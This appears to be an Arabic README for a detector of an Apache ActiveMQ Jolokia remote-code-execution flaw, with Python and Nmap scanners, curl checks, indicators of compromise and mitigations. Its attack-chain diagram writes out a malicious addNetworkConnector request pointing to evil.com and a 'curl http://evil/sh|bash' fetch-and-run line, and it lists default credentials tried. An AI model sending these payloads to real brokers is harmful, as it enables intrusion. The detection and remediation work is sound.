
يكتشف ثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic (CVE-2026-34197) عبر واجهة Jolokia API باستخدام نصوص Python وNmap NSE، مع التحقق من الوصول غير المصادق عليه وقابلية الإصدار للثغرة.
ثغرة تنفيذ تعليمات برمجية عن بُعد في Apache ActiveMQ Classic تسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية عن طريق استدعاء عملية MBean الخاصة بـ addNetworkConnector(String) عبر واجهة Jolokia API (/api/jolokia/). يقوم المهاجم بتضمين معامل brokerConfig خبيث يشير إلى ملف Spring XML عن بُعد، والذي يقوم ActiveMQ بجلبه وتحليله، مما يؤدي إلى إنشاء كائنات Java عشوائية وتحقيق تنفيذ التعليمات البرمجية.
في إصدارات ActiveMQ من 6.0.0 حتى 6.1.1، تكون نقطة نهاية Jolokia غير مصادق عليها تمامًا، مما يجعل هذه ثغرة RCE غير مصادق عليها وبدون أي تفاعل من المستخدم.
كانت هذه الثغرة مخفية في قاعدة التعليمات البرمجية لمدة 13 عامًا قبل اكتشافها بمساعدة الذكاء الاصطناعي.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-34197 |
| البائع | Apache Software Foundation |
| المنتج | Apache ActiveMQ Classic |
| الإصدارات المتأثرة | جميع الإصدارات قبل 5.19.4 و 6.2.3 |
| RCE غير مصادق عليها | الإصدارات من 6.0.0 حتى 6.1.1 (Jolokia بدون مصادقة) |
| CVSS v3.1 | 8.8 (عالية) |
| CWE | CWE-94 — تحكم غير صحيح في توليد التعليمات البرمجية |
| ناقل الهجوم | الشبكة |
| المصادقة | مطلوبة في 5.x؛ غير مطلوبة في 6.0.0 حتى 6.1.1 |
| تفاعل المستخدم | لا يوجد |
| نضج الاستغلال | PoC عام متاح |
| تم التصحيح في | ActiveMQ Classic 5.19.4، 6.2.3 |
| عمر الثغرة | ~13 عامًا في قاعدة التعليمات البرمجية |
| الاكتشاف | بحث ثغرات بمساعدة الذكاء الاصطناعي |
Apache ActiveMQ Classic هو أحد أكثر وسطاء الرسائل مفتوحة المصدر انتشارًا في النظام البيئي لجافا. يطبّق مواصفات Java Message Service (JMS) ويعمل كالعمود الفقري للاتصال غير المتزامن في آلاف البيئات المؤسسية حول العالم.
يتعامل ActiveMQ مع كل شيء بدءًا من قوائم معالجة الطلبات وخطوط أنابيب المعاملات المالية وصولًا إلى تدفقات بيانات إنترنت الأشياء وحافلات أحداث الخدمات المصغرة. إذا كانت مؤسستك تستخدم خدمات مصغرة قائمة على جافا، أو بنية موجهة بالأحداث، أو أي شكل من أشكال الرسائل غير المتزامنة، فهناك احتمال كبير أن يكون ActiveMQ موجودًا في مكان ما في البنية التحتية.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
عندما يخترق المهاجم ActiveMQ، لا يحصل فقط على شل على خادم واحد. بل يجلس في **مركز كل تدفق رسائل** في المؤسسة، قادرًا على قراءة الرسائل أو تعديلها أو إعادة توجيهها أو حقنها بين الأنظمة الحرجة.
---
## الغوص العميق في الثغرة
### البنية: Jolokia وJMX
**JMX** (Java Management Extensions) هي الواجهة القياسية لإدارة تطبيقات جافا. وهي تكشف عن "MBeans" (Managed Beans) التي تسمح بمراقبة والتحكم في دواخل التطبيق. يكشف ActiveMQ عن MBeans لإدارة الوسطاء (brokers) والطوابير (queues) والمواضيع (topics) والاتصالات والمزيد.
**Jolokia** هو جسر JMX عبر HTTP. فهو يترجم عمليات JMX إلى واجهة برمجة تطبيقات JSON بنمط RESTful، مما يجعل من الممكن إدارة تطبيقات جافا عبر طلبات HTTP بدلاً من الحاجة إلى عميل JMX مخصص.
يأتي ActiveMQ Classic مع Jolokia مدمجًا، ويمكن الوصول إليه عبر `/api/jolokia/` على منفذ وحدة التحكم على الويب (الافتراضي: 8161).```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
هنا تبدأ المشكلة. يكشف Jolokia عن القوة الكاملة لإدارة JMX من خلال واجهة HTTP بسيطة. ومن بين عمليات MBean المتاحة على الوسيط (broker) هي addNetworkConnector(String).
تم تصميم عملية addNetworkConnector(String) لإنشاء جسور شبكة بين مثيلات وسيط ActiveMQ. تقبل هذه العملية سلسلة URI تصف كيفية الاتصال بوسيط آخر.
يدعم ActiveMQ مخطط URI من نوع vm:// لاتصالات الوسيط داخل العملية (in-process). تدعم هذه الـ URIs معامل brokerConfig الذي يشير إلى ملف تكوين Spring XML. ويمكن لـ Spring XML إنشاء كائنات Java عشوائية.
إليك السلسلة الكاملة:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ يقوم بالضبط بما صُمم للقيام به: تحميل إعدادات الوسيط (broker). المشكلة أن مصدر الإعدادات يتحكم فيه المهاجم، وSpring XML هو عمليًا صيغة لتنفيذ الأكواد.
### فجوة المصادقة
هذا ما يرفع الثغرة من خطيرة إلى حرجة:
| إصدار ActiveMQ | حالة مصادقة Jolokia | التأثير |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | مصادق عليه (الافتراضيات: admin:admin) | تنفيذ أكواد عن بُعد بمصادقة، وغالبًا يتم تجاوزها بسهولة |
| 6.0.0 إلى 6.1.1 | **بدون مصادقة تمامًا** | **تنفيذ أكواد عن بُعد بدون مصادقة** |
| 6.1.2 إلى 6.2.2 | مصادق عليه | تنفيذ أكواد عن بُعد بمصادقة |
| 5.19.4+ / 6.2.3+ | تم التصحيح | غير معرضة للخطر |
على ActiveMQ من 6.0.0 إلى 6.1.1، تتطلب نقطة نهاية Jolokia **صفر مصادقة**. أي شخص يمكنه الوصول إلى المنفذ 8161 يحصل على تنفيذ أكواد عن بُعد بدون مصادقة.
حتى على الإصدارات التي تتطلب فيها Jolokia مصادقة، فإن بيانات الاعتماد الافتراضية `admin:admin` معروفة على نطاق واسع وغالبًا ما تُترك دون تغيير في بيئات التطوير والاختبار والإنتاج.
---
## تحليل التأثير
**التأثير المباشر على مضيف الوسيط (broker):**
- تنفيذ أكواد عن بُعد كامل بصلاحيات عملية ActiveMQ
- الوصول إلى جميع قوائم انتظار الرسائل والمواضيع والرسائل المخزنة
- القدرة على قراءة/تعديل/حقن الرسائل أثناء النقل
- الوصول إلى ملفات الإعدادات ومخازن المفاتيح وبيانات الاعتماد المخزنة
**التأثير اللاحق (عبر التلاعب بالرسائل):**
- حقن رسائل خبيثة في قوائم انتظار المعالجة
- تعديل المعاملات المالية أو الطلبات أو الأوامر أثناء التنفيذ
- اعتراض البيانات الحساسة المتدفقة عبر الوسيط
- تعطيل جميع الخدمات المعتمدة على الرسائل
**تضخيم المخاطر على مستوى المؤسسة:**
- ActiveMQ يقع عند نقطة التقاطع بين كل تطبيق يستخدمه
- وسيط واحد مخترق يمكن أن يؤثر على عشرات الخدمات المتصلة
- وسطاء الرسائل عادةً ما يكونون في مناطق شبكية موثوقة بوصول واسع
- الحركة الجانبية سهلة من موقع الوسيط في الشبكة```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| الإصدار | الحالة |
|---|---|
| ActiveMQ Classic 6.2.3+ | تم إصلاحه |
| ActiveMQ Classic 5.19.4+ | تم إصلاحه |
| ActiveMQ Classic 6.0.0 إلى 6.2.2 | قابل للاستغلال (6.0.0 إلى 6.1.1 = بدون مصادقة) |
| ActiveMQ Classic < 5.19.4 | قابل للاستغلال (بمصادقة) |
| ActiveMQ Artemis | غير متأثر (قاعدة بيانات مختلفة) |
يكتشف سكربت Python حالات ActiveMQ القابلة للاستغلال من خلال تحليل متعدد الخطوات.
كيف يعمل:
/api/jolokia/ متاحًا بدون مصادقة (HTTP 200 = مفتوح، 401 = مطلوب مصادقة)admin:admin، user:user، admin:activemq/admin/ و / بحثًا عن سلاسل إصدار ActiveMQ باستخدام مطابقة الأنماط regexorg.apache.activemq:type=Broker لتأكيد وجود مسار الاستغلاللا يتم إرسال أي حمولات استغلال. لا يتم تنفيذ أي أوامر. يلاحظ الماسح فقط إمكانية الوصول إلى نقطة النهاية ومعلومات الإصدار.
الاستخدام:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**الخيارات:**
| العلم | الوصف | الافتراضي |
|------|-------------|---------|
| `-t`, `--target` | عنوان URL واحد للهدف (مثال: `http://host:8161`) | — |
| `-f`, `--file` | ملف يحتوي على عناوين URL للأهداف، واحد في كل سطر (التعليقات بـ `#` مدعومة) | — |
| `-u`, `--username` | اسم المستخدم لمصادقة Jolokia | — |
| `-p`, `--password` | كلمة المرور لمصادقة Jolokia | — |
| `-o`, `--output` | حفظ النتائج في ملف JSON | — |
| `--timeout` | مهلة الاتصال بالثواني | `10` |
| `--verify-ssl` | تفعيل التحقق من شهادة SSL | معطّل |
| `-v`, `--verbose` | إخراج مفصّل مع كامل التفاصيل | إيقاف |
**مثال على الإخراج:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**مثال على مخرجات Nmap:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
إذا كنت تريد التحقق يدويًا باستخدام curl:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
إذا أعادت الخطوة 1 استجابة JSON تحتوي على معلومات وكيل Jolokia، فإن نقطة النهاية غير مصادق عليها. إذا نجحت الخطوة 2 باستخدام بيانات الاعتماد الافتراضية، فستحصل على وصول مصادق عليه. في كلتا الحالتين، إذا كان MBean الخاص بالوسيط (broker) قابلاً للوصول، فإن مسار الاستغلال موجود.
---
## مؤشرات الاختراق
ابحث عن هذه العلامات في بيئتك:
| المؤشر | مكان الفحص | ما الذي تبحث عنه |
|:---|:---|:---|
| وصول Jolokia | سجلات وصول وحدة التحكم | طلب POST إلى `/api/jolokia/` يحتوي على `addNetworkConnector` |
| الجلب الصادر | سجلات الشبكة / جدار الحماية | طلبات HTTP من ActiveMQ إلى مضيفين خارجيين غير متوقعين |
| تحميل Spring XML | سجلات ActiveMQ | إشارات إلى URIs بصيغة `xbean:http://` |
| موصلات الشبكة | إعدادات الوسيط (Broker) | URIs بصيغة `vm://` مع معاملات `brokerConfig` لم تقم بإنشائها |
| العمليات الفرعية | مراقبة العمليات | عمليات غير متوقعة تم إطلاقها بواسطة عملية Java الخاصة بـ ActiveMQ |
**أوامر التحقيق:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
إجراءات فورية (قم بها الآن):
/api/jolokia/admin:admin على وحدة التحكم عبر الويبعلى المدى القصير (خلال هذا الأسبوع):
addNetworkConnector)على المدى الطويل:
Kerem Oruç — مهندس أمن سيبراني